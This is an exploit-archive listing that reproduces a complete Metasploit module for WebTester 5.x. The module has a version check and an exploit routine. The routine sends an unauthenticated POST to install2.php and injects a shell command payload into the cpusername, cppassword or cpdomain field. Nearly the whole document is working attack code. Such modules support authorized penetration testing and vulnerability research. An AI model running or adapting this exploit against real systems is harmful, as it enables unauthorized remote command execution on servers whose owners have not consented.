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WebTester 5.x Command Execution

WebTester 5.x Command Execution
Posted Oct 18, 2013
Authored by Brendan Coles | Site metasploit.com

This Metasploit module exploits a command execution vulnerability in WebTester version 5.x. The 'install2.php' file allows unauthenticated users to execute arbitrary commands in the 'cpusername', 'cppassword' and 'cpdomain' parameters.

tags | exploit, arbitrary, php
MD5 | 5346027be18c609408f729a1a14f0e25

WebTester 5.x Command Execution

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "WebTester 5.x Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in WebTester
version 5.x. The 'install2.php' file allows unauthenticated users to
execute arbitrary commands in the 'cpusername', 'cppassword' and
'cpdomain' parameters.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['URL' => 'https://sourceforge.net/p/webtesteronline/bugs/3/']
],
'Payload' =>
{
'Space' => 8190, # Just a big value, injection on POST variable
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on WebTester v5.1.20101016
[ 'WebTester version 5.x', { 'auto' => true } ]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 17 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The base path to WebTester', '/webtester5/'])
], self.class)
end

#
# Checks if target is running WebTester version 5.x
#
def check
res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) })

if not res
print_error("#{peer} - Connection timed out")
return Exploit::CheckCode::Unknown
end

if res.body =~ /Eppler Software/
if res.body =~ / - v5\.1\.20101016/
print_status("#{peer} - Found version: 5.1.20101016")
return Exploit::CheckCode::Vulnerable
elsif res.body =~ / - v(5\.[\d\.]+)/
print_status("#{peer} - Found version: #{$1}")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Detected
end
else
return Exploit::CheckCode::Safe
end
end

def exploit
vuln_params = [
'cpusername',
'cppassword',
'cpdomain'
]
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'install2.php'),
'vars_post' => {
'createdb' => 'yes',
'cpanel' => 'yes',
"#{vuln_params.sample}" => "';#{payload.encoded} #"
}
})

if not res
fail_with(Failure::Unknown, "#{peer} - Request timed out")
elsif res.code == 200 and res.body =~ /Failed to connect to database server/
print_good("#{peer} - Payload sent successfully")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end

end
end
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